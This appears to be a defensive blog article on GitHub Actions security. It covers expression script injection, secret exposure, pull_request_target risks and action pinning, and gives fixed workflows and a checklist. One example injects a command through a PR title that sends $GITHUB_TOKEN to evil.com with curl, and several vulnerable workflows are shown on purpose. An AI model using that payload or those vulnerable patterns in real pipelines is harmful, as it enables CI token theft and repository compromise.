DevSecOps
github actions
ci/cd
supply chain
script injection
+2 more

GitHub Actions Security: Script Injection, Secret Leaks & Hardening Your CI/CD

SCRs Team
February 20, 2026
15 min read
Share

Why GitHub Actions Is a High-Value Target

GitHub Actions runs code with access to your source code, secrets, cloud credentials, and deployment pipelines. A compromised workflow means compromised production.

RiskImpact
Script injectionRun arbitrary commands in your CI
Secret exfiltrationSteal API keys, deploy tokens
Supply chain attackCompromised third-party action
Privilege escalationPR from fork gains write access
Artifact poisoningTampered build outputs

Vulnerability 1: Script Injection via Expressions

The most common and dangerous vulnerability. GitHub expressions (${{ }}) are evaluated before the shell runs — they're string interpolation, not safe variables.

❌ Vulnerable Workflow

name: Greet PR Author
on: pull_request

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for the PR, ${{ github.event.pull_request.title }}!"

An attacker creates a PR with title:

"; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "

The workflow executes:

echo "Thanks for the PR, "; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "!"

Vulnerable Contexts (User-Controlled)

github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.head_commit.message
github.head_ref (branch name)

✅ Fixed: Use Environment Variables

- name: Greet safely
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Thanks for the PR: $PR_TITLE"
    # $PR_TITLE is now a shell variable — NOT interpolated into the script

Vulnerability 2: Secret Exfiltration

# ❌ Secrets available to all steps including untrusted code
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # If tests run user-contributed code, secrets can be stolen
    env:
      AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
      DATABASE_URL: ${{ secrets.DATABASE_URL }}

✅ Minimize Secret Exposure

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # No secrets here

  deploy:
    needs: test
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    steps:
      - uses: actions/checkout@v4
      - name: Deploy
        env:
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
        run: ./deploy.sh

Vulnerability 3: Dangerous pull_request_target

pull_request_target runs with write permissions and access to secrets — even for PRs from forks!

# ❌ EXTREMELY DANGEROUS — runs forked PR code with write access + secrets
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out FORKED code!
      - run: npm install && npm test  # Runs attacker's code with your secrets

✅ Safe Pattern

on: pull_request_target

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # ✅ Only checkout BASE repo code, not fork code
      - uses: actions/checkout@v4
        # No ref override — checks out base branch (safe)
      
      # ✅ Only run trusted scripts from your own repo
      - run: ./scripts/label-pr.sh

Vulnerability 4: Third-Party Action Supply Chain

# ❌ Using mutable tag — author can push malicious update
- uses: some-author/helpful-action@v1

# ❌ Using branch — changes anytime
- uses: some-author/helpful-action@main

# ✅ Pin to exact commit SHA
- uses: some-author/helpful-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

# ✅ Even better — use GitHub's official actions (well-maintained)
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

Automate Dependency Updates (Dependabot for Actions)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Hardened Workflow Template

name: Secure CI/CD

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# ✅ Minimal permissions at workflow level
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    timeout-minutes: 15
    environment: production  # ✅ Requires manual approval
    permissions:
      contents: read
      id-token: write  # ✅ OIDC — no long-lived secrets
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789:role/deploy  # ✅ OIDC, no keys
          aws-region: us-east-1
      - run: ./deploy.sh

GitHub Actions Security Checklist

  • Never use ${{ }} expressions directly in run: with user-controlled values
  • Pin third-party actions to full commit SHAs
  • Set minimal permissions: at workflow and job level
  • Use environment: with required approvals for production deploys
  • Use OIDC (id-token: write) instead of long-lived cloud credentials
  • Never checkout fork code with pull_request_target
  • Limit secret access to only the jobs/steps that need them
  • Set timeout-minutes: to prevent runaway jobs
  • Enable Dependabot for GitHub Actions dependencies
  • Audit workflow runs for unexpected commands

Advertisement